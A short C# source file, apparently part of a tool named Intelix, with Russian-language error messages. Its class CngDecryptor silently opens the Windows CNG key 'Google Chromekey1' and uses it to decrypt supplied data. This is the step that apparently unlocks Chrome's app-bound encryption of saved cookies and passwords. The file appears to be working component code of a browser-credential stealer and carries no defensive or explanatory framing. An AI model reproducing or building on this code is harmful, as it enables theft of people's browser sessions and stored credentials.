52 lines
1.5 KiB
C#
52 lines
1.5 KiB
C#
using System;
|
|
|
|
namespace Intelix.Helper.Encrypted;
|
|
|
|
public static class CngDecryptor
|
|
{
|
|
private const int NCRYPT_SILENT_FLAG = 64;
|
|
|
|
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
|
|
{
|
|
IntPtr phProvider = IntPtr.Zero;
|
|
IntPtr phKey = IntPtr.Zero;
|
|
try
|
|
{
|
|
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
|
|
if (num != 0)
|
|
{
|
|
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
|
|
}
|
|
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
|
|
if (num != 0)
|
|
{
|
|
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
|
|
}
|
|
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
|
|
if (num != 0)
|
|
{
|
|
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
|
|
}
|
|
byte[] array = new byte[pcbResult];
|
|
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
|
|
if (num != 0)
|
|
{
|
|
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
|
|
}
|
|
Array.Resize(ref array, pcbResult);
|
|
return array;
|
|
}
|
|
finally
|
|
{
|
|
if (phKey != IntPtr.Zero)
|
|
{
|
|
NativeMethods.NCryptFreeObject(phKey);
|
|
}
|
|
if (phProvider != IntPtr.Zero)
|
|
{
|
|
NativeMethods.NCryptFreeObject(phProvider);
|
|
}
|
|
}
|
|
}
|
|
}
|